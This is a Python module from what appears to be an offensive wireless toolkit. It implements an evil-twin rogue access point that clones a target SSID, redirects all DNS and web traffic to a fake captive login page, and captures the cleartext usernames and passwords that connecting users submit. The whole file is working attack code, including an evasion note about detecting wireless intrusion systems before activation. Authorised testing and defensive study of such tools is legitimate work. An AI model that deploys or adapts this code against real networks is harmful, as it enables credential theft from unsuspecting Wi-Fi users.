#!/usr/bin/env python3
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.

Creates a wireless access point matching a target SSID, combined with
a captive portal served via a lightweight HTTP server. dnsmasq provides
DHCP and DNS for connected clients, redirecting all DNS to the portal.

OPSEC: Run wireless_intel module for 2-hour observation before activation
to detect WIDS/WIPS and understand target AP parameters.

Resources: ~30MB RAM, ~5% CPU
"""

import http.server
import logging
import os
import signal
import socketserver
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface}
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
dhcp-option=3,{gateway}
dhcp-option=6,{gateway}
address=/#/{gateway}
no-resolv
log-queries
log-facility=/tmp/bb-dnsmasq.log
"""


class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
    """HTTP handler for the captive portal.

    Serves the portal HTML for GET requests and captures POST data
    (credentials) from login forms.
    """

    portal_html = ""
    credential_callback = None

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(self.portal_html.encode("utf-8"))

    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")

        if self.credential_callback:
            self.credential_callback(self.client_address[0], post_data)

        # Redirect to a "success" page after capture
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        success_html = (
            "<html><body><h2>Connecting...</h2>"
            "<p>Please wait while we verify your credentials.</p>"
            "<script>setTimeout(function(){window.location='/'},5000);</script>"
            "</body></html>"
        )
        self.wfile.write(success_html.encode("utf-8"))

    def log_message(self, format, *args):
        """Suppress default HTTP logging to avoid console noise."""
        pass


class EvilTwin(BaseModule):
    """Evil Twin AP with captive portal credential harvesting.

    Creates a rogue AP matching a target SSID using hostapd, serves a
    captive portal, and captures credentials from connecting clients.

    Dependencies:
        - hostapd (system package)
        - dnsmasq (system package)
        - Wireless interface capable of AP mode

    Configuration:
        wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
        portal_dir: Path to captive portal HTML templates
    """

    name = "evil_twin"
    module_type = "active"
    priority = 200
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._hostapd_proc: Optional[subprocess.Popen] = None
        self._dnsmasq_proc: Optional[subprocess.Popen] = None
        self._portal_thread: Optional[threading.Thread] = None
        self._portal_server: Optional[socketserver.TCPServer] = None
        self._wifi_iface = config.get("wifi_iface", "wlan0")
        self._ap_active = False
        self._ssid: Optional[str] = None
        self._channel = 6
        self._portal_template: Optional[str] = None
        self._clients: list = []
        self._clients_lock = threading.Lock()
        self._captured_creds: list = []
        self._creds_lock = threading.Lock()
        self._portal_port = config.get("portal_port", 80)
        self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
        self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
        self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
        self._template_dir = config.get(
            "portal_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
        )
        self._hostapd_template_dir = config.get(
            "hostapd_template_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
        )
        self._tmp_dir = "/tmp/bb-evil-twin"

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("EvilTwin module started (ready for AP creation)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._ap_active:
            self.stop_ap()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("EvilTwin module stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "ap_active": self._ap_active,
            "ssid": self._ssid,
            "channel": self._channel,
            "interface": self._wifi_iface,
            "client_count": len(self._clients),
            "captured_creds": len(self._captured_creds),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "wifi_iface" in config:
            self._wifi_iface = config["wifi_iface"]
        if "portal_port" in config:
            self._portal_port = config["portal_port"]

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def create_ap(self, ssid: str, channel: int = 6,
                  portal_template: str = "corporate_login.html") -> bool:
        """Create evil twin AP with captive portal.

        Args:
            ssid: Target SSID to clone.
            channel: WiFi channel (default 6).
            portal_template: Filename of HTML portal template.

        Returns:
            True if AP was created successfully.
        """
        if not self._running:
            logger.error("EvilTwin not started")
            return False

        if self._ap_active:
            logger.warning("AP already active — stop it first")
            return False

        self._ssid = ssid
        self._channel = channel
        self._portal_template = portal_template

        # Write hostapd config
        hostapd_conf = self._generate_hostapd_config(ssid, channel)
        hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
        with open(hostapd_conf_path, "w") as f:
            f.write(hostapd_conf)

        # Configure wireless interface
        if not self._setup_interface():
            return False

        # Start hostapd
        if not self._start_hostapd(hostapd_conf_path):
            self._teardown_interface()
            return False

        # Write and start dnsmasq
        dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
            iface=self._wifi_iface,
            dhcp_start=self._dhcp_start,
            dhcp_end=self._dhcp_end,
            gateway=self._gateway_ip,
        )
        dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
        with open(dnsmasq_conf_path, "w") as f:
            f.write(dnsmasq_conf)

        if not self._start_dnsmasq(dnsmasq_conf_path):
            self._stop_hostapd()
            self._teardown_interface()
            return False

        # Configure iptables for captive portal redirect
        self._setup_iptables()

        # Start captive portal HTTP server
        self._start_portal(portal_template)

        self._ap_active = True
        self.state.set(self.name, "ssid", ssid)
        self.state.set(self.name, "channel", str(channel))
        logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
                     ssid, channel, portal_template)
        return True

    def stop_ap(self) -> bool:
        """Stop the evil twin AP and clean up.

        Returns:
            True if AP was stopped successfully.
        """
        logger.info("Stopping Evil Twin AP...")

        # Stop portal server
        self._stop_portal()

        # Remove iptables rules
        self._teardown_iptables()

        # Stop dnsmasq
        self._stop_dnsmasq()

        # Stop hostapd
        self._stop_hostapd()

        # Restore interface
        self._teardown_interface()

        self._ap_active = False
        self._ssid = None
        self.state.set(self.name, "ssid", "")
        logger.info("Evil Twin AP stopped")
        return True

    def get_clients(self) -> list:
        """Return list of currently connected clients.

        Returns:
            List of dicts with client MAC and IP.
        """
        # Parse dnsmasq lease file for connected clients
        lease_file = "/tmp/bb-dnsmasq.leases"
        clients = []
        if os.path.isfile(lease_file):
            try:
                with open(lease_file, "r") as f:
                    for line in f:
                        parts = line.strip().split()
                        if len(parts) >= 4:
                            clients.append({
                                "mac": parts[1],
                                "ip": parts[2],
                                "hostname": parts[3] if parts[3] != "*" else "",
                            })
            except Exception:
                pass

        with self._clients_lock:
            self._clients = clients
        return clients

    # ------------------------------------------------------------------
    # hostapd management
    # ------------------------------------------------------------------

    def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
        """Generate hostapd config for open AP."""
        return (
            f"interface={self._wifi_iface}\n"
            f"driver=nl80211\n"
            f"ssid={ssid}\n"
            f"hw_mode=g\n"
            f"channel={channel}\n"
            f"wmm_enabled=0\n"
            f"macaddr_acl=0\n"
            f"auth_algs=1\n"
            f"ignore_broadcast_ssid=0\n"
            f"wpa=0\n"
        )

    def _start_hostapd(self, conf_path: str) -> bool:
        try:
            self._hostapd_proc = subprocess.Popen(
                ["hostapd", conf_path],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            )
            time.sleep(2)  # Wait for hostapd to initialize
            if self._hostapd_proc.poll() is not None:
                stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
                logger.error("hostapd failed to start: %s", stderr)
                return False
            logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
            return True
        except FileNotFoundError:
            logger.error("hostapd not found — install with: apt install hostapd")
            return False
        except Exception as e:
            logger.error("Failed to start hostapd: %s", e)
            return False

    def _stop_hostapd(self) -> None:
        if self._hostapd_proc and self._hostapd_proc.poll() is None:
            self._hostapd_proc.terminate()
            try:
                self._hostapd_proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._hostapd_proc.kill()
            self._hostapd_proc = None

    # ------------------------------------------------------------------
    # dnsmasq management
    # ------------------------------------------------------------------

    def _start_dnsmasq(self, conf_path: str) -> bool:
        try:
            self._dnsmasq_proc = subprocess.Popen(
                [
                    "dnsmasq", "-C", conf_path,
                    "--no-daemon",
                    "--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
                ],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            )
            time.sleep(1)
            if self._dnsmasq_proc.poll() is not None:
                stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
                logger.error("dnsmasq failed to start: %s", stderr)
                return False
            logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
            return True
        except FileNotFoundError:
            logger.error("dnsmasq not found — install with: apt install dnsmasq")
            return False
        except Exception as e:
            logger.error("Failed to start dnsmasq: %s", e)
            return False

    def _stop_dnsmasq(self) -> None:
        if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
            self._dnsmasq_proc.terminate()
            try:
                self._dnsmasq_proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._dnsmasq_proc.kill()
            self._dnsmasq_proc = None

    # ------------------------------------------------------------------
    # Interface management
    # ------------------------------------------------------------------

    def _setup_interface(self) -> bool:
        """Configure wireless interface for AP mode."""
        try:
            # Kill interfering processes
            subprocess.run(
                ["airmon-ng", "check", "kill"],
                capture_output=True, timeout=10,
            )
            # Set interface up with IP
            subprocess.run(
                ["ip", "addr", "flush", "dev", self._wifi_iface],
                capture_output=True, timeout=5,
            )
            subprocess.run(
                ["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
                capture_output=True, timeout=5,
            )
            subprocess.run(
                ["ip", "link", "set", self._wifi_iface, "up"],
                capture_output=True, timeout=5,
            )
            return True
        except Exception:
            logger.exception("Failed to configure wireless interface")
            return False

    def _teardown_interface(self) -> None:
        """Restore wireless interface to managed mode."""
        try:
            subprocess.run(
                ["ip", "addr", "flush", "dev", self._wifi_iface],
                capture_output=True, timeout=5,
            )
        except Exception:
            pass

    # ------------------------------------------------------------------
    # iptables for captive portal
    # ------------------------------------------------------------------

    def _setup_iptables(self) -> None:
        """Set up iptables to redirect HTTP traffic to the captive portal."""
        rules = [
            # Enable NAT
            ["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
             "-j", "MASQUERADE"],
            # Redirect HTTP to portal
            ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
             "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
             "--to-port", str(self._portal_port)],
            # Redirect HTTPS to portal (for captive portal detection)
            ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
             "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
             "--to-port", str(self._portal_port)],
        ]
        for rule in rules:
            try:
                subprocess.run(rule, capture_output=True, timeout=5)
            except Exception:
                logger.warning("Failed to apply iptables rule: %s", " ".join(rule))

        # Enable IP forwarding
        try:
            with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
                f.write("1")
        except Exception:
            pass

    def _teardown_iptables(self) -> None:
        """Remove captive portal iptables rules."""
        rules = [
            ["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
             "-j", "MASQUERADE"],
            ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
             "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
             "--to-port", str(self._portal_port)],
            ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
             "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
             "--to-port", str(self._portal_port)],
        ]
        for rule in rules:
            try:
                subprocess.run(rule, capture_output=True, timeout=5)
            except Exception:
                pass

    # ------------------------------------------------------------------
    # Captive portal HTTP server
    # ------------------------------------------------------------------

    def _start_portal(self, template_name: str) -> None:
        """Start the captive portal HTTP server."""
        portal_path = os.path.join(self._template_dir, template_name)
        if os.path.isfile(portal_path):
            with open(portal_path, "r") as f:
                CaptivePortalHandler.portal_html = f.read()
        else:
            logger.warning("Portal template not found: %s — using default", portal_path)
            CaptivePortalHandler.portal_html = (
                "<html><body><h1>Welcome</h1>"
                "<form method='POST'>"
                "<input name='username' placeholder='Username'><br>"
                "<input name='password' type='password' placeholder='Password'><br>"
                "<button type='submit'>Sign In</button>"
                "</form></body></html>"
            )

        CaptivePortalHandler.credential_callback = self._on_credential_captured

        self._portal_server = socketserver.TCPServer(
            ("0.0.0.0", self._portal_port), CaptivePortalHandler
        )
        self._portal_server.allow_reuse_address = True

        self._portal_thread = threading.Thread(
            target=self._portal_server.serve_forever,
            daemon=True,
            name="sensor-captive-portal",
        )
        self._portal_thread.start()
        logger.info("Captive portal serving on port %d", self._portal_port)

    def _stop_portal(self) -> None:
        if self._portal_server:
            self._portal_server.shutdown()
            self._portal_server = None

    def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
        """Handle credential submission from captive portal."""
        with self._creds_lock:
            self._captured_creds.append({
                "timestamp": time.time(),
                "client_ip": client_ip,
                "post_data": post_data,
            })

        # Parse form data for username/password
        from urllib.parse import parse_qs
        params = parse_qs(post_data)
        username = params.get("username", params.get("email", [""]))[0] if params else ""
        password = params.get("password", params.get("pass", [""]))[0] if params else ""

        self.bus.emit(
            "CREDENTIAL_FOUND",
            {
                "source_module": self.name,
                "source_ip": client_ip,
                "target_service": f"captive_portal:{self._ssid}",
                "username": username,
                "credential_type": "cleartext",
                "credential_value": password,
                "raw_data": post_data,
            },
            source_module=self.name,
        )
        logger.info("Captive portal credential captured from %s", client_ip)
